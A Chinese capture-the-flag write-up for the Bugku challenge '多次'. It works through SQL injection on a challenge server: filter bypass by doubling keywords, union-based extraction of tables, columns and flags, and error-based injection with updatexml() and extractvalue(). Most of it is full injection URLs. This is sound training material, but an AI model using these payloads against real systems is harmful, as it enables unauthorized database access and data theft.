Bugku_多次

在这里插入图片描述
打开题目,发现页面上啥也没有,但是URl地址栏里有id的参数传进去,将id=1 换成id=2,页面信息发生变化,立马就想到了可能存在SQL注入。
测试闭合方式

id=1'  //报错
id=1"  //不报错

此时确定闭合方式为单引号闭合
接着可以利用异或方式测试一下是否有对一些SQL注入的关键字有过滤。例如^(length(‘or’)!=0)如果返回页面显示正常,那就证明length(‘or’)==0的,也就是or被过滤了,通过测试发现,select or and union被过滤了,但是我们可以通过双写进行绕过。
在这里插入图片描述
接着猜解字段数:http://123.206.87.240:9004/1ndex.php?id=1' oorrder by 2--+通过二分法测试的到有两个字段。
接着猜解回显位置:http://123.206.87.240:9004/1ndex.php?id=-1' uniunionon selselectect 1,2--+,发现2的位置为输出点

猜解表名:http://123.206.87.240:9004/1ndex.php?id=-1' uniunionon selselectect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()--+
在这里插入图片描述

猜解列名:http://123.206.87.240:9004/1ndex.php?id=-1' uniunionon selselectect 1,group_concat(column_name) from infoorrmation_schema.columns where table_name='flag1'--+
在这里插入图片描述
猜解字段内容:http://123.206.87.240:9004/1ndex.php?id=-1' uniunionon selselectect 1,group_concat(flag1) from flag1--+
在这里插入图片描述
提交flag发现,这不是flag,然后猜解address里的内容:http://123.206.87.240:9004/1ndex.php?id=-1' uniunionon selselectect 1,group_concat(address) from flag1--+
在这里插入图片描述
此时就明白为啥题目名字叫多次了。

在这里插入图片描述
这里看到My id=1 并且URL地址栏里还有Id传参,猜测到还是一个注入题目。
通过上边的方法测试得到还是单引号闭合,然后这是一个报错注入,可以使用updatexml()和extractvalue()函数报错注入

extractvalue(目标xml文档,xml路径):对XML文档进行查询的函数
updatexml(目标xml文档,xml路径,更新的内容):与extractvalue()类似,是更新xml文档的函数

使用updatexml()进行注入:
猜解表名:http://123.206.87.240:9004/Once_More.php?id=1' and updatexml(1,concat(0x7e,(select group_concat( table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+
在这里插入图片描述
猜解字段名:http://123.206.87.240:9004/Once_More.php?id=1' and updatexml(1,concat(0x7e,(select group_concat( column_name) from information_schema.columns where table_name='flag2'),0x7e),1)--+
在这里插入图片描述
猜解字段内容:http://123.206.87.240:9004/Once_More.php?id=1' and updatexml(1,concat(0x7e,(select group_concat( flag2,address) from flag2),0x7e),1)--+
在这里插入图片描述
得到flag

使用extractvalue()进行注入:
猜解表名:http://123.206.87.240:9004/Once_More.php?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+
猜解字段名:http://123.206.87.240:9004/Once_More.php?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag2'),0x7e))--+
猜解字段内容:http://123.206.87.240:9004/Once_More.php?id=1' and extractvalue(1,concat(0x7e,(select group_concat(flag2,address) from flag2),0x7e))--+

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值